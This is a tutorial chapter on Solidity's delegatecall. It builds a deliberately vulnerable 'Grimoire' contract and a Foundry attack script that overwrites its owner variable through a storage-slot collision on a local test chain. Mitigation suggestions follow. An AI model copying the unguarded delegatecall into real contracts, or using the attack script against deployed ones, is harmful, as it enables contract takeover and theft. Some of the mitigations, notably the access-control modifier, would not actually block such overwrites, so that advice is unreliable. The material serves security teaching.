The Magic and Mayhem of delegatecall: A Deep Dive into Solidity’s Most Powerful Feature
13 min read
January 12, 2025


Table of contents
Introduction: Unlocking the Secrets of delegatecall
In the world of Solidity, few features offer as much power—and danger—as delegatecall
. This low-level function is like a magical incantation, allowing one contract to execute the code of another as if it were its own. It’s the cornerstone of upgradable contracts and shared libraries, making it an invaluable tool for smart contract developers. But, as with any spell, using it without caution can lead to unintended and sometimes disastrous consequences.
In this article, we’ll dive deep into the workings of delegatecall
, exploring its strengths and inherent risks. We’ll examine a fascinating example of a vulnerable contract—the Magical Grimoire—to see how a small design oversight can open the door to exploits. Along the way, we’ll also look at strategies to mitigate these vulnerabilities and ensure your contracts are both flexible and secure.
By the end, you’ll not only understand how delegatecall
works but also how to wield it responsibly. Let’s start unraveling the mysteries of this powerful feature—and see why it’s both a gift and a curse for Solidity developers.
What is delegatecall
in Solidity?
If delegatecall
were a spell in a wizard's grimoire, it’d be labeled "Handle with Extreme Caution." It’s a low-level function in Solidity that allows one contract to temporarily borrow the code of another, running it as if it were its own. This makes delegatecall
both incredibly powerful and dangerously easy to misuse—a true double-edged sword in the world of smart contracts.
How Does delegatecall
Work?
Imagine you’re in a self-driving car (the calling contract) that can’t navigate certain tricky routes by itself. To solve this, you hire a remote driver (the target contract) to control the car temporarily. The remote driver takes over, using your car's controls (your storage) to steer and accelerate. However, here’s the twist:
- While the remote driver is in charge, they act as if they’re you. If someone asks, “Who’s driving?” they’ll say it’s you (because
msg.sender
andmsg.value
remain unchanged). - They don’t use their own car (storage). Instead, any adjustments they make—like changing the seat position or the radio station—are saved in your car.
This works great if the driver follows your instructions, but what if they’re not trustworthy? They might reprogram your GPS (modify your variables) or even disable your brakes (break your contract’s logic). The remote driver doesn’t have their own agenda (storage); everything they do happens in your car.
Why Use delegatecall
?
delegatecall
is often used to create upgradable contracts. Imagine deploying a smart contract, only to discover a critical bug. In a traditional setup, you’d need to redeploy everything—what a hassle! With delegatecall
, a proxy contract handles all interactions while delegating logic to a separate implementation contract. If you need to update your code, you simply replace the implementation contract without touching the proxy.
Some common use cases include:
- Proxy Contracts: These allow you to swap out old logic for new without losing your contract's state.
- Libraries: Shared functionality can live in a library, reducing redundancy across contracts.
The Risks of delegatecall
As Uncle Ben said, "With great power comes great responsibility." Here’s why delegatecall
is not for the faint of heart:
- Storage Overwrites: The target contract manipulates your storage slots. If the storage layouts don’t match perfectly, chaos ensues—picture hiring a plumber to fix a leaky faucet, only to find your TV mounted in the bathroom.
- Evil Contractors: If the target contract is malicious or can be swapped out by an attacker, they can wreak havoc on your storage, stealing funds or breaking functionality.
- Context Confusion: The
msg.sender
andmsg.value
refer to the original caller, not the target contract. If access control relies onmsg.sender
, this can lead to accidental open doors for attackers.
Now that we’ve explored what delegatecall
is and how it works, let’s dive into an example of a vulnerable contract to better understand the potential pitfalls and risks this powerful feature can introduce
The Magical Grimoire: A Contract of Enchantment
Imagine a mystical book of spells, the Grimoire, governed by a master wizard who holds the power to unleash its magic. The contract is designed to manage spells dynamically, allowing the master wizard to cast new enchantments and set a unique special spell that only they can define.
At its core, the Grimoire maintains three key pieces of state:
- MasterWizard: The identity of the current master wizard, stored as a string, representing the address of the deploying account.
- Spell: The currently active spell that can be updated through external interaction.
- SpecialSpell: A unique and powerful spell that only the master wizard has the authority to define.
The Grimoire’s functionality revolves around its ability to call upon external libraries, like the SpellLibrary, to execute new spells. The magic happens through the castSpell
function, which dynamically delegates calls to an external contract, allowing the Grimoire to expand its repertoire of spells.
Today, our mission is clear: to outwit the Grimoire's defenses and claim the title of Master Wizard, seizing control of its spells and unlocking the full extent of its magical power.
Vulnerable Contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/console.sol";
// The Magical Grimoire (vulnerable contract)
contract Grimoire {
string public masterWizard; // The wizard controlling the grimoire (stored as a string)
string public specialSpell; // A special spell only the master wizard can set
string public spell; // The currently active spell
constructor() {
// Converts the deploying address to a string and assigns it as the masterWizard
masterWizard = toString(msg.sender);
}
// Function to cast spells using an external library
function castSpell(address spellLibrary, bytes memory spellData) public {
(bool success, ) = spellLibrary.delegatecall(spellData);
require(success, "The spell failed!");
}
// Allows the master wizard to set a special spell
function setSpecialSpell(string memory newSpell) public {
require(
compareStrings(masterWizard, toString(msg.sender)),
"Only the masterWizard can set special spells"
);
specialSpell = newSpell;
}
// Helper: Converts an address to a string
function toString(address account) internal pure returns (string memory) {
bytes32 value = bytes32(uint256(uint160(account)));
bytes memory alphabet = "0123456789abcdef";
bytes memory str = new bytes(42); // 42 characters: 2 for "0x" + 40 for the address
str[0] = "0";
str[1] = "x";
for (uint256 i = 0; i < 20; i++) {
str[2 + i * 2] = alphabet[uint8(value[i + 12] >> 4)]; // Extract the first nibble
str[3 + i * 2] = alphabet[uint8(value[i + 12] & 0x0f)]; // Extract the second nibble
}
return string(str);
}
// Helper: Compares two strings for equality
function compareStrings(
string memory a,
string memory b
) internal pure returns (bool) {
return keccak256(abi.encodePacked(a)) == keccak256(abi.encodePacked(b));
}
}
// Spell library (initially trusted)
contract SpellLibrary {
string public spell; // Stores the active spell in the library
// Sets a spell in the grimoire
function setSpell(string memory newSpell) public {
spell = newSpell;
}
}
Today, our mission is clear: to outwit the Grimoire's defenses and claim the title of Master Wizard, seizing control of its spells and unlocking the full extent of its magical power. But before we embark on this quest, let’s take a closer look at how the contract works in detail.
How It Works
Casting a Spell
The Grimoire uses the castSpell
function to interact with an external spell library. This function takes two inputs:
- The address of the library contract.
- Encoded data representing the spell to be cast.
The delegatecall
keyword is used to execute the logic from the spell library within the context of the Grimoire, allowing the contract to dynamically expand its capabilities without requiring modifications to its own code.
function castSpell(address spellLibrary, bytes memory spellData) public {
(bool success, ) = spellLibrary.delegatecall(spellData);
require(success, "The spell failed!");
}
If the spell executes successfully, the Grimoire can update its state using the delegated logic.
Master Wizard Privileges
The master wizard, identified by the masterWizard
variable, is granted exclusive rights to set a special spell. This function ensures that only the rightful master can define this unique magic:
function setSpecialSpell(string memory newSpell) public {
require(
compareStrings(masterWizard, toString(msg.sender)),
"Only the masterWizard can set special spells"
);
specialSpell = newSpell;
}
The comparison uses a helper function, compareStrings
, to ensure the caller’s identity matches the stored master wizard string.
Utility Functions
Two utility functions bring convenience to the Grimoire’s design:
toString
: Converts an Ethereum address into a string representation.compareStrings
: A simple yet effective function that compares two strings by hashing them withkeccak256
.
The SpellLibrary
The SpellLibrary serves as the source of external logic that the Grimoire can invoke. It currently includes a single function, setSpell
, which updates the spell stored in the Grimoire’s state:
function setSpell(string memory newSpell) public {
spell = newSpell;
}
This modular design ensures that the Grimoire can adopt new spells on the fly, making it a highly flexible system.
What Makes This Design Interesting?
The Grimoire is a fascinating example of modular contract design:
- It leverages external libraries to dynamically expand functionality.
- It enforces access control for critical functions like
setSpecialSpell
. - It showcases how utility functions can handle non-trivial operations, such as converting addresses to strings.
In the next section, we’ll explore the potential consequences of this approach, shedding light on what can happen when powerful tools like delegatecall
are not handled with sufficient care.
The Strategy: Becoming the Master Wizard
To exploit the Grimoire contract and claim the title of Master Wizard, the key lies in understanding how delegatecall
interacts with the contract's storage. As we’ve seen, delegatecall
allows the Grimoire to execute functions from the SpellLibrary, but with the Grimoire’s storage as the context. This opens a door for anyone with sufficient knowledge of the storage layout to manipulate critical variables—like masterWizard
.
Here’s the strategy in a nutshell:
- Leverage
castSpell
: The Grimoire’scastSpell
function gives us the ability to call any function in the SpellLibrary. Sincedelegatecall
uses the caller's storage, any modifications made by the library will directly affect the Grimoire’s state. - Target the Storage Slot: In Solidity, variables are stored in sequential slots. The
masterWizard
variable resides in the first storage slot (slot 0), and this slot can be overwritten by the SpellLibrary’s logic. - Call a Function in SpellLibrary: The
SpellLibrary
contract includes thesetSpell
function, which writes data into itsspell
variable. When called viadelegatecall
, this function will overwrite the Grimoire’s storage at slot 0, inadvertently modifyingmasterWizard
. - Overwrite
masterWizard
with Your Address: By encoding your address as a string and passing it to thesetSpell
function, you can replace the currentmasterWizard
with yourself.
In the next section, we’ll break down the exploit script step by step, illustrating exactly how to claim the title of Master Wizard and unleash your spells. Stay tuned—it’s time to wield the Grimoire’s magic like never before!
Simulating the Setup: Deploying the Grimoire and SpellLibrary
Before diving into the exploit, let’s first ensure we have the magical battlefield ready. Remember to start Anvil, as we’ve done in previous chapters, to simulate the Ethereum environment locally. If you’re running a local environment and want to replicate the scenario, you’ll need to deploy both the Grimoire and the SpellLibrary contracts. Below is a deployment script written for Foundry, which simplifies this process.
pragma solidity ^0.8.0;
// Deployment Script for Foundry
import "forge-std/Script.sol";
import "forge-std/console.sol";
import "../src/Grimoire.sol";
contract DeployGrimoire is Script {
function run() public {
vm.startBroadcast(vm.envUint("ADMIN_KEY")); // Begin broadcasting transactions
// Deploy Grimoire
Grimoire grimoire = new Grimoire();
console.log("Grimoire deployed at:", address(grimoire));
// Deploy SpellLibrary
SpellLibrary spellLibrary = new SpellLibrary();
console.log("SpellLibrary deployed at:", address(spellLibrary));
vm.stopBroadcast(); // End broadcasting transactions
}
}
How It Works
- The script uses Foundry’s
vm.startBroadcast
to simulate transactions signed with the admin's private key. - The Grimoire is deployed first, and its address is logged.
- The SpellLibrary is then deployed, serving as the source of magic for our Grimoire.
- Both addresses are printed, so you can reference them in the exploit script.
forge script scripts/Exploit.s.sol

Once deployed, you’re ready to proceed with the fun part—claiming the title of Master Wizard!
The Exploit: Becoming the Master Wizard
With the battlefield set, let’s dive into the exploit. The objective is clear: use the Grimoire’s delegatecall
to overwrite the masterWizard
variable and seize control of the contract. Here’s the plan:
- Log the Current MasterWizard: Start by reading the
masterWizard
value, ensuring it’s still controlled by the original deployer. - Craft the Payload: Encode a call to the
setSpell
function in the SpellLibrary, passing your address as a string. - Execute the Payload: Use
castSpell
to delegate the call to the SpellLibrary, which will overwrite themasterWizard
in the Grimoire. - Claim Your Powers: Verify the new
masterWizard
value and demonstrate control by setting a special spell.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Script.sol";
import "../src/Grimoire.sol";
contract GrimoireAttack is Script {
Grimoire grimoire = Grimoire(0x5FbDB2315678afecb367f032d93F642f64180aa3); // Address of the Grimoire contract
address spellLibrary = 0xe7f1725E7734CE288F8367e1Bb143E90bb3F0512; // Address of the SpellLibrary contract
function run() external {
// Start broadcasting the attacker's transactions
vm.startBroadcast(vm.envUint("ATTACKER_KEY"));
// Log the current MasterWizard value
console.log("Current Masterwizard:", grimoire.masterWizard());
// Encode the call to `setSpell` in the SpellLibrary
bytes memory setSpellData = abi.encodeWithSignature(
"setSpell(string)",
"0x70997970c51812dc3a010c7d01b50e0d17dc79c8" // Attacker's address as a string
);
// Execute the `castSpell` function to overwrite masterWizard
grimoire.castSpell(spellLibrary, setSpellData);
// Verify the new MasterWizard value
console.log("Master after the attack: ", grimoire.masterWizard());
// Use your new powers to set a special spell
grimoire.setSpecialSpell("Fire++");
// Verify the modified special spell
console.log("Special spell modify: ", grimoire.specialSpell());
// Stop broadcasting the attacker's transactions
vm.stopBroadcast();
}
}
Step-by-Step Explanation
- Logging the Current MasterWizard: The script first prints the
masterWizard
to show it’s controlled by the original deployer. - Crafting the Payload: The payload is encoded with the
abi.encodeWithSignature
function, targetingsetSpell
in the SpellLibrary. The key detail here is passing the attacker’s address as a string to overwrite themasterWizard
. - Executing the Attack: The
castSpell
function in Grimoire delegates the call to SpellLibrary’ssetSpell
. Sincedelegatecall
uses the Grimoire’s storage, the value intended forspell
in SpellLibrary instead overwritesmasterWizard
in Grimoire. - Verifying Control: After executing the payload, the script prints the updated
masterWizard
value to confirm the attacker is now in control. - Flexing Your Powers: With the title of Master Wizard secured, the attacker uses
setSpecialSpell
to set a custom spell, demonstrating complete control over the contract.

In the next section, we’ll explore how to mitigate vulnerabilities like this and ensure contracts remain safe from malicious wizards. Stay tuned—because every spell has a counterspell. 🧙♂️✨
Top 3 Solutions to Mitigate the Vulnerability
delegatecall
can be a powerful tool, but its misuse can turn your contract into a ticking time bomb. To prevent exploits like the one we’ve just seen, here are the top three solutions to mitigate this vulnerability:
Strictly Validate Trusted Contracts
One of the main issues with the Grimoire contract is its blind trust in any contract passed to castSpell
. By ensuring only pre-approved, secure libraries are used, you can eliminate the risk of malicious or unintended storage overwrites.
Implementation
- Introduce a whitelist of trusted library addresses.
- Validate the address before executing
delegatecall
.
mapping(address => bool) private trustedLibraries;
function addLibrary(address libraryAddress) public onlyOwner {
trustedLibraries[libraryAddress] = true;
}
function castSpell(address spellLibrary, bytes memory spellData) public {
require(trustedLibraries[spellLibrary], "Library not trusted");
(bool success, ) = spellLibrary.delegatecall(spellData);
require(success, "The spell failed!");
}
Benefit
This approach ensures that only vetted contracts can execute logic on behalf of the Grimoire, significantly reducing the risk of malicious overwrites.
Avoid State-Dependent Delegate Calls
Whenever possible, avoid using delegatecall
for contracts that rely on shared storage. Instead, structure your system to separate state and logic, minimizing the potential for unintended consequences.
Implementation
Adopt an upgradeable proxy pattern, but isolate state variables in a dedicated storage contract. The proxy only forwards calls to an implementation contract without sharing storage directly.
Example:
contract Proxy {
address implementation; // Address of the logic contract
function upgrade(address newImplementation) public onlyOwner {
implementation = newImplementation;
}
fallback() external payable {
(bool success, ) = implementation.delegatecall(msg.data);
require(success, "Delegatecall failed");
}
}
contract Storage {
string public masterWizard;
string public spell;
string public specialSpell;
}
Benefit
This approach ensures storage remains consistent and prevents unexpected overwrites, as the logic and storage are decoupled.
Implement Slot-Level Access Controls
If delegatecall
is unavoidable, enforce strict access controls on critical storage slots. The Grimoire could have implemented a modifier to protect the masterWizard
variable from unintended overwrites.
Implementation
Introduce a guard that ensures sensitive variables like masterWizard
can only be updated through explicit functions, not indirectly via delegatecall
.
modifier onlyMasterWizard() {
require(
compareStrings(masterWizard, toString(msg.sender)),
"Access restricted to masterWizard"
);
_;
}
function setMasterWizard(string memory newMasterWizard) public onlyOwner {
masterWizard = newMasterWizard;
}
Additionally, critical slots should be locked down by restricting access to functions that directly modify them.
Benefit
This ensures that even if delegatecall
is used, sensitive variables like masterWizard
cannot be tampered with accidentally or maliciously.
Bonus Tip: Use Libraries Safely
For reusable code, prefer Solidity’s native library
keyword over external contracts. Libraries are inherently safer because they don’t have their own storage or rely on delegatecall
.
Example:
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
}
Why This Works
Using native libraries ensures that logic is executed safely within the calling contract’s context, without the risks associated with delegatecall
.
Final Thoughts
To summarize:
- Whitelist trusted libraries to prevent malicious code execution.
- Separate storage and logic with proxy patterns for safer upgrades.
- Lock down critical storage slots with explicit access controls.
By applying these strategies, you can transform your contract from a vulnerable grimoire into a fortress of well-protected magic. Remember, while delegatecall
offers great flexibility, it also demands vigilance and robust design to ensure your spells don’t backfire.
Conclusions: The Perils and Power of delegatecall
The story of the Magical Grimoire serves as a cautionary tale for developers wielding the incredible yet dangerous tool that is delegatecall
. While its ability to enable upgradable contracts and reusable logic is undeniable, its misuse can open doors to catastrophic vulnerabilities.
Here’s what we’ve learned:
- Flexibility Comes with Risks:
delegatecall
operates directly on the calling contract’s storage, making it susceptible to unintended overwrites and malicious manipulation. The lack of built-in safeguards means developers must enforce strict controls on how it’s used. - Blind Trust Can Backfire: In our example, trusting the SpellLibrary without restrictions allowed attackers to exploit the contract’s design, showcasing how a single oversight can compromise an entire system.
- Mitigation is Possible: By implementing strategies like trusted libraries, separating storage and logic, and locking down critical variables, developers can mitigate these risks while still benefiting from
delegatecall
.
Ultimately, delegatecall
is not inherently bad—it’s a tool, and like any tool, it’s only as safe as the person using it. With proper precautions, you can harness its power to create dynamic, efficient, and upgradeable contracts without fear of leaving your project open to exploits.
References
- Foundry - A Blazing Fast, Modular, and Portable Ethereum Development Framework. "Foundry Documentation." Available at: https://book.getfoundry.sh/
- Solidity - Understanding
delegatecall
and Low-Level Functions. "Solidity Documentation." Available at: https://docs.soliditylang.org/en/latest/introduction-to-smart-contracts.html#delegatecall-callcode-and-call - Trail of Bits - Common Pitfalls with
delegatecall
. "Trail of Bits Blog." Available at: https://blog.trailofbits.com/ - Storage in Solidity - Detailed Analysis of Solidity Storage Mechanics. "Solidity Documentation." Available at: https://docs.soliditylang.org/en/latest/internals/layout_in_storage.html
- Ethereum - Open-Source Blockchain Platform for Smart Contracts. "Ethereum Whitepaper." Available at: https://ethereum.org/en/whitepaper/
- Anvil - A Local Ethereum Development Node for Testing Smart Contracts. "Anvil Documentation." Available at: https://book.getfoundry.sh/anvil/
- OpenZeppelin - Secure Smart Contract Libraries. "OpenZeppelin Contracts Documentation." Available at: https://docs.openzeppelin.com/contracts
Chapters

Previous chapter
Next chapter
